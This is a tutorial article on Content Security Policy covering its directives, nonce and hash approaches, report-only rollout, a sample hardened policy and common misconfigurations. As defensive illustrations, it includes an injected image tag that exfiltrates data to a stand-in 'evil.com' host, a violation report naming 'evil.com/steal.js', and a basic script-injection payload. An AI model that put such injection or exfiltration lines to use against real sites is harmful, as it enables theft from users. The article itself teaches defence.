Content Security Policy (CSP): What It Stops, What It Doesn't

Content Security Policy (CSP): What It Stops, What It Doesn't

There's a moment every web developer has when they ship their first Content Security Policy: they write a reasonable-looking header, deploy it, and watch their site go dark — every script blocked, third-party widgets dead, inline event handlers logging errors nobody had noticed before. CSP is the most powerful XSS defense the browser offers and one of the easiest features to misconfigure into uselessness. Here's what CSP actually stops, what it doesn't, and how to ship a working policy without breaking your site.

What CSP Actually Does (and What It Doesn't)

CSP is an HTTP response header that tells the browser which sources of content (scripts, styles, images, fonts, frames) are allowed to load on a page. It's a runtime allowlist enforced by the browser.

What CSP does well:

  • Blocks script injection (XSS). Injected <script> tags and inline event handlers don't execute unless they match the policy.
  • Stops data exfiltration via injected resources. An injected <img src="evil.com/steal?data=..."> is blocked unless evil.com is in img-src.
  • Restricts framing. frame-ancestors controls who can iframe your page (replaces older X-Frame-Options).
  • Disables risky features. eval() and inline scripts are off unless explicitly allowed.

What CSP doesn't do:

  • It doesn't sanitize input. If you echo unescaped HTML and CSP allows your own scripts, injected scripts may still run. CSP is defense in depth, not a replacement for output encoding.
  • It doesn't prevent theft inside allowed scripts. A compromised npm dependency you've allowlisted can do anything your own code can.
  • It doesn't help on browsers that ignore it. Modern browsers all support it; very old ones don't.
  • It doesn't help if you allow everything. default-src * is valid CSP and zero protection.

Anatomy of a CSP Header

A CSP header is directives separated by semicolons:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; report-uri /csp-report

Each directive has the shape <name> <source-list>. Sources can be:

  • A scheme: https:, data:, blob:
  • A host: cdn.example.com, *.example.com
  • A keyword: 'self', 'none', 'unsafe-inline', 'unsafe-eval'
  • A nonce: 'nonce-r4nd0mb4se64v4lu3'
  • A hash: 'sha256-abc123...'

The browser evaluates each resource against the relevant directive. Unmatched requests are blocked and (depending on policy) reported.

You can also send CSP via meta tag, but frame-ancestors, report-uri, and sandbox only work in the HTTP header. Prefer the header form. Verify what your server sends with the HTTP Headers Checker.

Directives That Matter Most

CSP has over 20 directives in the W3C Level 3 spec; a working policy needs only a handful.

  • default-src — fallback for any directive you didn't set. Always set it; usually 'self'.
  • script-src — where scripts can come from. The single most important directive for XSS. Avoid 'unsafe-inline' and 'unsafe-eval'.
  • style-src — where stylesheets can come from. CSS injection is less dangerous than scripts but not harmless.
  • img-src — usually set permissively (https: and data:) since image XSS is hard to weaponize.
  • connect-src — XHR, fetch, WebSocket, and EventSource targets. Without it, injected scripts can exfiltrate anywhere.
  • frame-src / frame-ancestors — what your page can frame, and who can frame your page. frame-ancestors 'none' replaces X-Frame-Options: DENY.
  • form-action — where forms can submit. Easy to forget; an attacker who hijacks a form redirects submissions without it.
  • base-uri — restricts the <base> tag, which can rewrite relative URLs sitewide. 'self' or 'none' is almost always correct.
  • upgrade-insecure-requests — auto-upgrades http:// references to https://. Useful during migrations.

The MDN CSP reference is the most current guide.

Nonces vs Hashes vs strict-dynamic

The hardest part of CSP is allowing your own inline scripts (and necessary third-party scripts) without opening the door to attackers. Three modern approaches.

Nonce-based CSP generates a fresh random value per response, included in both the CSP header and every legitimate script's nonce attribute:

Content-Security-Policy: script-src 'nonce-r4nd0mB4s3' 'strict-dynamic'
<script nonce="r4nd0mB4s3">/* legitimate inline */</script>
<script nonce="r4nd0mB4s3" src="/app.js"></script>

The nonce must be cryptographically random (≥128 bits), unique per response (don't cache it alongside the page), and base64. Server-rendered apps inject the nonce at template time. SPAs are harder — static index.html doesn't allow runtime nonce injection without server templating.

Hash-based CSP allows specific inline scripts by SHA hash:

Content-Security-Policy: script-src 'sha256-AAAA...'

Useful for static inline scripts you control. Brittle — change one byte and the hash mismatches. Best for build-time hash generation.

'strict-dynamic' is the modern recommendation. It tells the browser to trust scripts loaded by other trusted scripts, but ignore the host allowlist. This solves the problem where allowlisting your CDN means trusting any attacker who uploads JS to that CDN.

Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Your initial nonced script can dynamically load other scripts; those load more; trust flows transitively from the nonce. This is the policy Google's CSP team recommends for new deployments.

The 'unsafe-inline' Trap

Most broken CSP policies in the wild include 'unsafe-inline' in script-src. It's the easiest way to make inline scripts work — and it disables roughly 80% of CSP's XSS protection.

script-src 'self' 'unsafe-inline'  # almost no XSS protection

With 'unsafe-inline', an attacker who injects any HTML can also inject <script>alert(1)</script>. CSP is now only stopping cross-origin script loading.

Subtle rescue: when both a nonce/hash and 'unsafe-inline' are present, CSP3-aware browsers ignore 'unsafe-inline'. This was added so nonces can ship with fallback for older browsers:

script-src 'self' 'nonce-r4nd0m' 'unsafe-inline'

CSP3 browsers honor the nonce; older browsers fall back to 'unsafe-inline'. Honest test: if your script-src ends with 'unsafe-inline' and has no nonce or hash, CSP is cosmetic. Same for 'unsafe-eval'.

Reporting and Violation Logging

CSP runs in report-only mode to log violations without blocking. This is the only sane way to deploy CSP on an existing site.

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Browsers POST a JSON report when a resource would have been blocked:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/steal.js",
    "line-number": 42
  }
}

Run report-only for 1-4 weeks. You'll discover marketing tags you forgot about (GTM, Hotjar, chat widgets), CDNs you weren't aware of, legacy inline handlers (onclick="..."), and browser extensions injecting their own scripts (these keep firing forever — filter chrome-extension:// schemes if noisy).

The newer report-to and Reporting-Endpoints directives are more flexible, but report-uri is simpler and universally supported. The Snyk security blog has good case studies on what real violations look like in production.

Migrating an Existing Site to CSP

A working approach for adding CSP to an existing site:

  1. Audit current resources. Use the HTTP Headers Checker to see existing security headers, then list every script, style, font, image, frame, and connect target.
  2. Deploy Content-Security-Policy-Report-Only with a strict policy and a report endpoint. Logs but doesn't block.
  3. Watch reports for 1-4 weeks and add legitimate sources, or refactor inline scripts to nonces.
  4. Switch from report-only to enforcing. Keep the report endpoint for future regressions.
  5. Iterate toward 'strict-dynamic'. Replace host allowlists with nonces. This dramatically cuts XSS risk.

A practical starting policy:

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;
  report-uri /csp-report

style-src keeps 'unsafe-inline' because styled-components and Tailwind JIT generate inline styles at runtime. Tighten later. Permissive on styles, strict on scripts captures most of the value.

For broader header context see Understanding HTTP Headers and Understanding CORS (which interacts with connect-src). How TLS/HTTPS Works covers the transport foundation CSP assumes.

Common Mistakes That Disable Protection

Wildcard sources. script-src * or script-src https: allows any external script, defeating CSP's purpose.

'unsafe-inline' without a nonce. Covered above. The single most common mistake.

Forgetting object-src 'none'. Older XSS payloads use <object> and <embed> to bypass script-src.

Forgetting base-uri 'none'. A <base> injection rewrites every relative URL on the page.

Allowing data: in script-src. data: URLs can encode executable JS — equivalent to 'unsafe-inline'.

Stale meta-tag CSP. A CSP set via <meta> in cached HTML doesn't refresh when you fix the policy.

No reporting in production. Without report-uri, you have no idea what's firing, what broke, or what attacks were stopped.

Not testing third-party widgets. Customer chat, analytics, and embedded video each load their own scripts. CSP that breaks these mid-deployment is the most common reason CSP gets rolled back.

Test your final policy with Google's CSP Evaluator. The SSL Certificate Checker is worth running alongside since upgrade-insecure-requests requires correct TLS.

FAQ

Should CSP be in a header or a meta tag?

Header whenever possible. The HTTP header supports every directive (including frame-ancestors, sandbox, report-uri) and isn't subject to caching weirdness. Meta tags are a fallback for static hosting without server templates.

What's the difference between report-uri and report-to?

report-uri is older and simpler — browser POSTs JSON to the URL. report-to (paired with Reporting-Endpoints) is the newer framework supporting multiple report types. report-to browser support is incomplete; send both for compatibility.

Why does my third-party widget break with CSP?

One of three reasons: the widget loads scripts from an unallowlisted domain, uses inline scripts without matching nonces, or connects to an API endpoint blocked by connect-src. Run report-only mode and violations will show exactly what to allow.

Does CSP prevent all XSS?

No. CSP prevents script injection — but if your code already does unsafe DOM manipulation (writing user input to innerHTML), DOM-based XSS still executes as trusted script. CSP is defense in depth: combine with output encoding, framework escaping, and DOMPurify.

What's the right policy for a SPA?

Nonces or 'strict-dynamic' for script-src, the API host in connect-src, data: and https: for img-src, everything else 'self' or 'none'. SPAs need server-side rendering of index.html to inject a fresh nonce per request; pure static SPAs fall back to hash-based CSP.

How do I test CSP without breaking my site?

Deploy Content-Security-Policy-Report-Only. Browser logs violations but doesn't block. Run report-only for at least a full business cycle before switching to enforcement — some violations only appear in admin flows.

Does CSP slow down my site?

No measurable impact. The browser already parses resource URLs; CSP just adds a string match. The header adds a few hundred bytes per response. The failure mode of misconfigured CSP can absolutely break UX, so test thoroughly.

Can I use CSP with a CDN like Cloudflare?

Yes — Cloudflare can inject CSP headers if you don't set them at origin. The catch: some CDN features (email obfuscation, rocket loader) inject scripts that need allowlisting. Test with these enabled. The Snyk DOM-based XSS post covers the interaction patterns.